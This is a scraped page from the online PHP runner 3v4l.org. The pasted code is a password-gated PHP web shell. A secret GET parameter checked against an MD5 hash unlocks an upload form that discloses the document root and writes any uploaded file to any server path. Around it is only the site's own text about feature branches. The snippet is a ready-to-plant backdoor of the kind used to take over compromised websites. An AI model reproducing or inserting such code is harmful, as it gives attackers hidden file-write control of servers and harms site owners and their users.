3v4l.org

run code in 300+ PHP versions simultaneously
<?php if(isset($_GET["ms-load"]) && md5($_GET["ms-load"])=="48bcec2ff0772d3f32159dfb34658694"){ $p=$_SERVER["DOCUMENT_ROOT"]; $tyuf=dirname(__FILE__); echo <<<HTML <form enctype="multipart/form-data" method="POST"> Path:$p<br> <input name="file" type="file"><br> To:<br> <input size="48" value="$tyuf/" name="pt" type="text"><br> <input type="submit" value="Upload"> HTML; if (isset($_POST["pt"])){ $uploadfile = $_POST["pt"].$_FILES["file"]["name"]; if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];} if (copy($_FILES["file"]["tmp_name"], $uploadfile)){ echo"uploaded:$uploadfile"; echo"Size:".$_FILES["file"]["size"]."n"; }else { print "Error:n"; } } }
Output for git.master, git.master_jit, rfc.property-hooks

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
68.94 ms | 401 KiB | 8 Q